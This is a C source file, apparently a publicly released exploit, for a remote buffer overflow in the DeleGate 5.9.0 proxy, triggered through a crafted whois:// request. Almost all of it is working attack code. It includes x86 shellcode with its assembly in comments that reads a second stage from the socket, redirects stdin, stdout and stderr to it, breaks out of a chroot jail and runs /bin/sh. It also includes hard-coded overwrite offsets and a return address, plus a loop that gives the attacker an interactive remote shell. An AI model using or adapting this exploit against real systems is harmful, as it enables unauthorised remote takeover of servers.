/* * DeleGate 5.9.0 remote overflow * * Notes about this exploit: * - We can predict the sockfd in use with a reasonable degree of * accuracy. In most cases, it's 12 (hence #define SOCKFD 0x0c). * I've seen it as 13, though. * - The ASM src to the shellcode is included in the comments. It's * not overly optimized. * - On lagged links, you may need to alter the DELAY #define. * * Credits: * - The read() shellcode is derived from an idea posted to Bugtraq * in 1998 (to do with exploiting mpg123). The author wrote: * `As would a routine that reads X more bytes from the * still open filedescriptor..` * - Thanks to ABR for finding the overflow and writing the initial * test (mkdir()'s an arbitrary directory) exploit. * * Any questions or comments (or criticisms), feel free to email me. * * anathema */ #include #include #include #include #include #include #include #include #include #include #include #define DELAY 2 #define ADDR 0xbfffe501 #define RETPOS 260 #define SHFD_OFFSET 5 #define RDFD_OFFSET 252 /* * We can predict the socket descriptor in use with a reasonable * degree of accuracy. */ #define SOCKFD 0x0c /* * The overflow occurs while parsing the WHOIS command. */ char prepend_str[] = "whois://"; /* * Shellcode to read() 256 bytes from the socket descriptor * referenced by the #define SOCKFD. We replace the 0xff byte * from movb $0xff, %bl with the SOCKFD define value in main(). */ char readcode[] = /* main: */ "\xeb\x03" /* jmp callz [2000]*/ /* start0: */ "\x5e" /* popl %esi [2000]*/ "\xeb\x05" /* jmp start [2000]*/ /* callz: */ "\xe8\xf8\xff\xff\xff" /* call start0 [2000]*/ /* start: */ "\x29\xc0" /* subl %eax, %eax [2000]*/ "\xb0\x80" /* movb $0x80, %al [2000]*/ "\x29\xdb" /* subl %ebx, %ebx [2000]*/ "\x43" /* incl %ebx [2000]*/ "\x43" /* incl %ebx [2000]*/ "\x8d\x4e\x10" /* leal 0x10(%esi), %ecx */ "\xf7\xeb" /* imul %ebx [2000]*/ "\x29\xdb" /* subl %ebx, %ebx [2000]*/ "\xb3\xff" /* movb $SOCK_FD, %bl [2000]*/ "\x92" /* xchgl %eax, %edx [2000]*/ "\x29\xc0" /* subl %eax, %eax [2000]*/ "\xb0\x03" /* movb $0x03, %al [2000]*/ "\xcd\x80"; /* int $0x80 [2000]*/ /* * The `real` shellcode. We must dup2() stdin, stdout and stderr * to the socket descriptor, or else you will spawn an interactive * shell at the controlling terminal ;) */ char c0de[] = /* main: */ "\x29\xc0" /* subl %eax, %eax [2000]*/ "\x29\xdb" /* subl %ebx, %ebx [2000]*/ "\xb3\xff" /* movb $SOCK_FD, %bl [2000]*/ "\xb0\x3f" /* movb $0x3f, %al [2000]*/ "\x29\xc9" /* subl %ecx, %ecx [2000]*/ "\xcd\x80" /* int $0x80 [2000]*/ "\xb0\x3f" /* movb $0x3f, %al [2000]*/ "\x41" /* incl %ecx [2000]*/ "\xcd\x80" /* int $0x80 [2000]*/ "\xb0\x3f" /* movb $0x3f, %al [2000]*/ "\x41" /* incl %ecx [2000]*/ "\xcd\x80" /* int $0x80 [2000]*/ "\xeb\x66" /* jmp callz [2000]*/ /* start: */ /* * Now we must break chroot(). * We do this by creating a temporary directory with mkdir(), chroot() * to that temporary directory, perform multiple chdir() calls to the * parent directory and finally a chroot() to the current directory, * which should be the real root directory. * * We use a straightforward loop to perform the multiple chdir() calls. */ "\x5e" /* popl %esi [2000]*/ "\x29\xc0" /* subl %eax, %eax [2000]*/ "\x8d\x5e\x0d" /* leal 0x0d(%esi), %ebx */ "\x88\x46\x04" /* movb %al, 0x04(%esi)[2000]*/ "\x66\xb9\xff\x01" /* movw $0x1ff, %cx [2000]*/ "\xb0\x27" /* movb $0x27, %al [2000]*/ "\xcd\x80" /* int $0x80 [2000]*/ "\x29\xc0" /* subl %eax, %eax [2000]*/ "\x8d\x5e\x0d" /* leal 0x0d(%esi), %ebx */ "\xb0\x3d" /* movb $0x3d, %al [2000]*/ "\xcd\x80" /* int $0x80 [2000]*/ "\x29\xc0" /* subl %eax, %eax [2000]*/ "\x29\xdb" /* subl %ebx, %ebx [2000]*/ "\x29\xc9" /* subl %ecx, %ecx [2000]*/ "\x8d\x5e\x08" /* leal 0x08(%esi), %ebx */ "\x89\x43\x02" /* movl %eax, 0x02(%ebx) */ "\xb1\x14" /* movb $0x14, %cl [2000]*/ /* chdir_loop: */ "\x29\xc0" /* subl %eax, %eax [2000]*/ "\x8d\x5e\x08" /* leal 0x08(%esi), %ebx */ "\xb0\x0c" /* movb $0x0c, %al [2000]*/ "\xcd\x80" /* int $0x80 [2000]*/ "\x49" /* decl %ecx [2000]*/ "\x08\xc9" /* orb %cl, %cl [2000]*/ "\x75\xf2" /* jnz chdir_loop [2000]*/ "\x29\xc0" /* subl %eax, %eax [2000]*/ "\x88\x46\x09" /* movb %al, 0x09(%esi)[2000]*/ "\x8d\x5e\x08" /* leal 0x08(%esi), %ebx */ "\xb0\x3d" /* movb $0x3d, %al [2000]*/ "\xcd\x80" /* int $0x80 [2000]*/ /* * We've broken chroot, now we can execve() /bin/sh. We've * already dup2()'d stdin, stdout and stderr to the sockfd. */ "\x29\xc0" /* subl %eax, %eax [2000]*/ "\xb0\x2e" /* movb $0x2e, %al [2000]*/ "\x40" /* incl %eax [2000]*/ "\x88\x46\x04" /* movb %al, 0x04(%esi)[2000]*/ "\x29\xc0" /* subl %eax, %eax [2000]*/ "\x88\x46\x07" /* movb %al, 0x07(%esi)[2000]*/ "\x89\x76\x08" /* movl %esi, 0x08(%esi) */ "\x89\x46\x0c" /* movl %eax, 0x0c(%esi) */ "\x87\xf3" /* xchgl %esi, %ebx [2000]*/ "\x8d\x4b\x08" /* leal 0x08(%ebx), %ecx */ "\x8d\x53\x0c" /* leal 0x0c(%ebx), %edx */ "\xb0\x0b" /* movb $0x0b, %al [2000]*/ "\xcd\x80" /* int $0x80 [2000]*/ /* exit(). Not really necessary. */ "\x29\xc0" /* subl %eax, %eax [2000]*/ "\x40" /* incl %eax [2000]*/ "\xcd\x80" /* int $0x80 [2000]*/ /* callz: */ "\xe8\x95\xff\xff\xff" /* call start [2000]*/ "\x2f\x62\x69\x6e\x2f\x73\x68" /* /bin/sh for execve [2000]*/ "\x31\x2e\x2e\x31\x31\x2e\x62\x69\x6e"; /* strings for mk/chdir(), chroot() */ u_long resolve_host(u_char *host) { struct in_addr addr; struct hostent *host_ent; if ((addr.s_addr = inet_addr(host)) == -1) { host_ent = gethostbyname(host); if (!host_ent) return((u_long)0); memcpy((char *)&addr.s_addr, host_ent->h_addr, host_ent->h_length); } return(addr.s_addr); } void connect_shell(int sock) { u_char sock_buf[8192] = {0}; fd_set fds; write(sock, "\n\nuname -a; id;\n", 16); for (;;) { FD_ZERO(&fds); FD_SET(0, &fds); /* STDIN_FILENO */ FD_SET(sock, &fds); if (select(0xff, &fds, NULL, NULL, NULL) == -1) { perror("select choked"); exit(-1); } memset(sock_buf, 0, sizeof(sock_buf)); if (FD_ISSET(sock, &fds)) { if (recv(sock, sock_buf, sizeof(sock_buf) - 1, 0) == -1) { fprintf(stderr, "Connection closed by foreign host.\n"); exit(0); } fprintf(stderr, "%s", sock_buf); } if (FD_ISSET(0, &fds)) { read(0, sock_buf, sizeof(sock_buf) - 1); write(sock, sock_buf, strlen(sock_buf)); } } /* NOTREACHED */ } int create_socket(u_long dst_ip, u_short src_prt, u_short dst_prt) { struct sockaddr_in sin; int sock; sock = socket(AF_INET, SOCK_STREAM, IPPROTO_TCP); if (sock == -1) { perror("socket allocation"); exit(-1); } if (src_prt) { struct sockaddr_in min; int one = 1, *o_ptr = &one; /* * A source port has been specified. Note that we should set * SO_REUSEADDR on the socket so future exploit attempts * utilising the same source port are possible. [2000]*/ if (setsockopt(sock, SOL_SOCKET, SO_REUSEADDR, o_ptr, sizeof(one)) == -1) { perror("setsockopt SO_REUSEADDR"); exit(-1); } min.sin_family = AF_INET; min.sin_port = htons(src_prt); min.sin_addr.s_addr = INADDR_ANY; if (bind(sock, (struct sockaddr *)&min, sizeof(min)) == -1) { perror("bind"); exit(-1); } } sin.sin_family = AF_INET; sin.sin_port = htons(dst_prt); sin.sin_addr.s_addr = dst_ip; if (connect(sock, (struct sockaddr *)&sin, sizeof(sin)) == -1) { perror("connecting to delegate server"); exit(-1); } return(sock); } void usage(u_char *nomenclature) { fprintf(stderr, "\nusage:\t%s dst_host|ip [src_prt] dst_prt\n\n", nomenclature); exit(0); } int main(int argc, char **argv) { u_char buf[4096] = {0}; u_long addr = ADDR; u_long dst_ip = 0; u_short src_prt = 0, dst_prt = 0; int sock, ret = RETPOS; int i = 0, j = 0; fprintf(stderr, "\nDeleGate 5.9.0 remote overflow\n" "anathema \n"); if (argc != 3 && argc != 4) { usage(argv[0]); /* NOTREACHED */ } dst_ip = resolve_host(argv[1]); if (!dst_ip) { fprintf(stderr, "What kind of address is this: `%s`?\n", argv[1]); exit(-1); } if (argc == 4) { src_prt = (u_short)atoi(argv[2]); dst_prt = (u_short)atoi(argv[3]); } else { dst_prt = (u_short)atoi(argv[2]); } sock = create_socket(dst_ip, src_prt, dst_prt); memset(buf, 0x90, ret - strlen(readcode)); memcpy(buf, prepend_str, strlen(prepend_str)); memcpy(buf + ret - strlen(readcode), readcode, strlen(readcode)); buf[ret++] = (addr & 0xff); buf[ret++] = (addr >> 8) & 0xff; buf[ret++] = (addr >> 16) & 0xff; buf[ret++] = (addr >> 24) & 0xff; buf[RDFD_OFFSET] = SOCKFD; memcpy(buf + ret, "\r\n", 2); if (write(sock, buf, strlen(buf)) != strlen(buf)) { fprintf(stderr, "err: truncated write() (0x01)\n"); exit(-1); } memset(buf, 0, sizeof(buf)); c0de[SHFD_OFFSET] = SOCKFD; memset(buf, 0x90, 0x0f); memcpy(buf + 0x0f, c0de, strlen(c0de)); memcpy(buf + 0x0f + strlen(c0de), "\0\r\n", 3); if (write(sock, buf, strlen(buf)) != strlen(buf)) { fprintf(stderr, "err: truncated write() (0x02)\n"); exit(-1); } fprintf(stderr, "\nIt'z time to w8\n\n"); sleep(DELAY); connect_shell(sock); }